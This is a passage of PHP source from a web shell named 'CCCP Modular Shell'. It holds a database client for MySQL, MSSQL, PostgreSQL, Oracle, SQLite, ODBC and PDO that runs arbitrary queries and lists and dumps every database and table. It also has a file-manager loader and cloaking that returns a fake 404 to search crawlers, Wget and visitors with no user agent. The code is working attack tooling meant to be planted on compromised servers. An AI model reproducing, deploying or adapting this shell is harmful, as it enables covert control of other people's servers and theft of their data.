if(count($hosts)==2) $host_str = $hosts[0].':'.$hosts[1];
else $host_str = $host;
if(function_exists('mysqli_connect')) return @mysqli_connect($host_str, $user, $pass);
else if(function_exists('mysql_connect')) return @mysql_connect($host_str, $user, $pass);
} else if($type === 'mssql'){
if(function_exists('mssql_connect')) return @mssql_connect($host, $user, $pass);
else if(function_exists('sqlsrv_connect')){
$coninfo = array('UID'=>$user, 'PWD'=>$pass);
return @sqlsrv_connect($host,$coninfo);
}
} else if($type === 'pgsql'){
$hosts = explode(':', $host);
if(count($hosts)==2) $host_str = 'host='.$hosts[0].' port='.$hosts[1];
else $host_str = 'host='.$host;
if(function_exists('pg_connect')) return @pg_connect($host_str.' user='.$user.' password='.$pass);
} else if($type === 'oracle'){
if(function_exists('oci_connect')) return @oci_connect($user, $pass, $host);
} else if($type === 'sqlite3'){
if(class_exists('SQLite3')) if(!empty($host)) return new SQLite3($host);
} else if($type === 'sqlite'){
if(function_exists('sqlite_open')) return @sqlite_open($host);
} else if($type === 'odbc'){
if(function_exists('odbc_connect')) return @odbc_connect($host, $user, $pass);
} else if($type === 'pdo'){
if(class_exists('PDO')) if(!empty($host)) return new PDO($host, $user, $pass);
}
return false;
}
function sql_query($type, $query, $con){
if ($type === 'mysql'){
if(function_exists('mysqli_query')) return mysqli_query($con,$query);
else if(function_exists('mysql_query')) return mysql_query($query);
} else if($type === 'mssql'){
if(function_exists('mssql_query')) return mssql_query($query);
else if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
} else if($type === 'pgsql') return pg_query($query);
else if($type === 'oracle') return oci_execute(oci_parse($con, $query));
else if($type === 'sqlite3') return $con->query($query);
else if($type === 'sqlite') return sqlite_query($con, $query);
else if($type === 'odbc') return odbc_exec($con, $query);
else if($type === 'pdo') return $con->query($query);
}
function sql_num_fields($type, $result, $con){
if ($type === 'mysql'){
if(function_exists('mysqli_field_count')) return mysqli_field_count($con);
else if (function_exists('mysql_num_fields')) return mysql_num_fields($result);
} else if($type === 'mssql'){
if(function_exists('mssql_num_fields')) return mssql_num_fields($result);
else if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
} else if($type === 'pgsql') return pg_num_fields($result);
else if($type === 'oracle') return oci_num_fields($result);
else if($type === 'sqlite3') return $result->numColumns();
else if($type === 'sqlite') return sqlite_num_fields($result);
else if($type === 'odbc') return odbc_num_fields($result);
else if($type === 'pdo') return $result->columnCount();
}
function sql_field_name($type,$result,$i){
if ($type === 'mysql'){
if(function_exists('mysqli_fetch_fields')){
$metadata = mysqli_fetch_fields($result);
if(is_array($metadata)) return $metadata[$i]->name;
} else if (function_exists('mysql_field_name')) return mysql_field_name($result,$i);
} else if($type === 'mssql'){
if(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
else if(function_exists('sqlsrv_field_metadata')){
$metadata = sqlsrv_field_metadata($result);
if(is_array($metadata)) return $metadata[$i]['Name'];
}
} else if($type === 'pgsql') return pg_field_name($result,$i);
else if($type === 'oracle') return oci_field_name($result,$i+1);
else if($type === 'sqlite3') return $result->columnName($i);
else if($type === 'sqlite') return sqlite_field_name($result,$i);
else if($type === 'odbc') return odbc_field_name($result,$i+1);
else if($type === 'pdo'){
$res = $result->getColumnMeta($i);
return $res['name'];
}
}
function sql_fetch_data($type,$result){
if ($type === 'mysql'){
if(function_exists('mysqli_fetch_row')) return mysqli_fetch_row($result);
else if(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
} else if($type === 'mssql'){
if(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
else if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
} else if($type === 'pgsql') return pg_fetch_row($result);
else if($type === 'oracle') return oci_fetch_row($result);
else if($type === 'sqlite3') return $result->fetchArray(1);
else if($type === 'sqlite') return sqlite_fetch_array($result,1);
else if($type === 'odbc') return odbc_fetch_array($result);
else if($type === 'pdo') return $result->fetch(2);
}
function sql_num_rows($type,$result){
if ($type === 'mysql'){
if(function_exists('mysqli_num_rows')) return mysqli_num_rows($result);
else if(function_exists('mysql_num_rows')) return mysql_num_rows($result);
} else if($type === 'mssql'){
if(function_exists('mssql_num_rows')) return mssql_num_rows($result);
else if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
} else if($type === 'pgsql') return pg_num_rows($result);
else if($type === 'oracle') return oci_num_rows($result);
else if($type === 'sqlite3'){
$metadata = $result->fetchArray();
if(is_array($metadata)) return $metadata['count'];
} else if($type === 'sqlite') return sqlite_num_rows($result);
else if($type === 'odbc') return odbc_num_rows($result);
else if($type === 'pdo') return $result->rowCount();
}
function sql_close($type,$con){
if ($type === 'mysql'){
if(function_exists('mysqli_close')) return mysqli_close($con);
else if(function_exists('mysql_close')) return mysql_close($con);
} else if($type === 'mssql'){
if(function_exists('mssql_close')) return mssql_close($con);
else if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
} else if($type === 'pgsql') return pg_close($con);
else if($type === 'oracle') return oci_close($con);
else if($type === 'sqlite3') return $con->close();
else if($type === 'sqlite') return sqlite_close($con);
else if($type === 'odbc') return odbc_close($con);
else if($type === 'pdo') return $con = null;
}
if (isset($p['code'])){
if (!isset($p['pg'])) $p['pg'] = 1;
$start = ((int)$p['pg'] - 1) * $config['SQLLimit'];
$oracleLimit = $start + $config['SQLLimit'];
$sBuff = '';
$con = sql_connect($p['type'], $p['host'], $p['user'], $p['pass']);
foreach(explode('{;}', $p['code']) as $query){
if (trim($query) !== ''){
$query = str_replace(array('{start}', '{limit}', '{oraclelimit}'), array($start, $config['SQLLimit'], $oracleLimit), $query);
$sBuff .= '
' . tText('sq8', 'Executed') . ': ' . hsc($query) . '; ';
$res = sql_query($p['type'], $query, $con);
if ($res !== false && !is_bool($res)){
$tmp = "
";
$t = sql_num_fields($p['type'], $res, $con);
for ($i = 0; $i < $t; $i++)
$tmp .= '' . @hsc(sql_field_name($p['type'], $res, $i)) . ' | ';
$tmp .= '
';
$c = 0;
while($rows = sql_fetch_data($p['type'], $res)){
$c++;
$tmp .= '';
foreach($rows as $r)
$tmp .= '' . @hsc($r) . ' | ';
$tmp .= '
';
}
$pag = genPaginator($p['pg'], ($c < $config['SQLLimit'] ? $p['pg'] : -1), false) . '';
$sBuff .= "[ ok ]
{$pag}
{$tmp}
{$pag}
";
unset($c, $tmp);
} else if ($res === false)
$sBuff .= "[ ERROR ] ({$res})
";
else
$sBuff .= "[ ok ] ({$res})
";
}
}
sAjax($sBuff);
} else if (isset($p['host'])){
$con = sql_connect($p['type'], $p['host'], $p['user'], $p['pass']);
if ($con !== false){
$sBuff .= '
' . mSubmit(tText('go', 'Go!'), 'dbexec(euc(d.getElementById("code").value))') . '
' . tText('sq4', 'Separate multiple commands with') . ' {;} ' . tText('sq9', 'Variables for use in pagination') . ' {start}, {limit}, {oraclelimit}
';
if (($p['type']!=='pdo') && ($p['type']!=='odbc')){
if ($p['type']==='mssql') $showdb = 'SELECT name FROM master..sysdatabases';
else if ($p['type']==='pgsql') $showdb = 'SELECT schema_name FROM information_schema.schemata';
else if ($p['type']==='oracle') $showdb = 'SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME';
else if ($p['type']==='sqlite' || $p['type']==='sqlite3') $showdb = "SELECT '{$p['host']}'";
else $showdb = 'SHOW DATABASES'; //mysql
$res = sql_query($p['type'], $showdb, $con);
if ($res !== false){
$bg = 0;
while($rowarr = sql_fetch_data($p['type'], $res)){
foreach($rowarr as $rows){
$sBuff .= ' '.$rows.' ';
if($p['type']==='mssql') $showtbl = "SELECT name FROM {$rows}..sysobjects WHERE xtype = 'U'";
else if($p['type']==='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='{$rows}'";
else if($p['type']==='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='{$rows}'";
else if($p['type']==='sqlite' || $p['type']==='sqlite3') $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
else $showtbl = "SHOW TABLES FROM {$rows}"; //mysql
$res_t = sql_query($p['type'], $showtbl, $con);
if ($res_t != false){
while($tablearr = sql_fetch_data($p['type'], $res_t)){
foreach($tablearr as $tables){
if ($p['type']==='mssql') $dumptbl = "SELECT TOP 100 * FROM {$rows}..{$tables}"; //TODO
else if ($p['type']==='pgsql') $dumptbl = "SELECT * FROM {$rows}.{$tables} LIMIT {limit} OFFSET {start}";
else if ($p['type']==='oracle') $dumptbl = "SELECT * FROM {$rows}.{$tables} WHERE ROWNUM BETWEEN {start} AND (oraclelimit);";
else if ($p['type']==='sqlite' || $p['type']==='sqlite3') $dumptbl = "SELECT * FROM {$tables} LIMIT {start}, {limit}";
else $dumptbl = "SELECT * FROM {$rows}.{$tables} LIMIT {start}, {limit}"; //mysql
$sBuff .= '' . $tables . ' | ';
}
}
}
$sBuff .= ' ';
}
}
}
}
$sBuff .= ' |
|
';
if (isset($p['sqlinit'])) $sBuff .= mHide('jseval', 'dbhistory("s");');
sql_close($p['type'], $con);
} else
$sBuff .= sDialog('Unable to connect to database');
} else {
$sqllist = array();
if (function_exists('mysql_connect') || function_exists('mysqli_connect')) $sqllist['mysql'] = 'MySQL [using mysql_* or mysqli_*]';
if (function_exists('mssql_connect') || function_exists('sqlsrv_connect')) $sqllist['mssql'] = 'MsSQL [using mssql_* or sqlsrv_*]';
if (function_exists('pg_connect')) $sqllist['pgsql'] = 'PostgreSQL [using pg_*]';
if (function_exists('oci_connect]')) $sqllist['oracle'] = 'Oracle [using oci_*]';
if (function_exists('sqlite_open')) $sqllist['sqlite'] = 'SQLite [using sqlite_*]';
if (class_exists('SQLite3')) $sqllist['sqlite3'] = 'SQLite3 [using class SQLite3]';
if (function_exists('odbc_connect')) $sqllist['odbc'] = 'ODBC [using odbc_*]';
if (class_exists('PDO')) $sqllist['pdo'] = 'PDO [using class PDO]';
$sBuff .= '
' . tText('sql', 'SQL') . '
Or use www.adminer.org
';
}
} else if ($p['me'] === 'loader') {
$defAction = 'ajaxLoad("me=filemanager' . (isset($p['dir']) ? '&dir=' . rawurlencode($p['dir']) : '') . '")';
$loader = '
CCCP Modular Shell
--[ CCCP Modular Shell v1.0 by DSR! | Generation time: 0.00 ]--
';
sAjax($loader);
}
}
#Se fini
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest') {
sAjax($sBuff . mHide('etime', substr((microtime(true) - $loadTime), 0, 4)));
//sAjax($sBuff . mHide('etime', substr((microtime(true) - $loadTime), 0, 4) . ' Mem Peak: ' . sizecount(memory_get_peak_usage(false)) . ' Men: ' . sizecount(memory_get_usage(false))) );
} else {
$uAgents = array('Google', 'Slurp', 'MSNBot', 'ia_archiver', 'Yandex', 'Rambler', 'Yahoo', 'Zeus', 'bot', 'Wget');
if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/' . implode('|', $uAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
?>
404 Not Found
Not Found
The requested URL was not found on this server.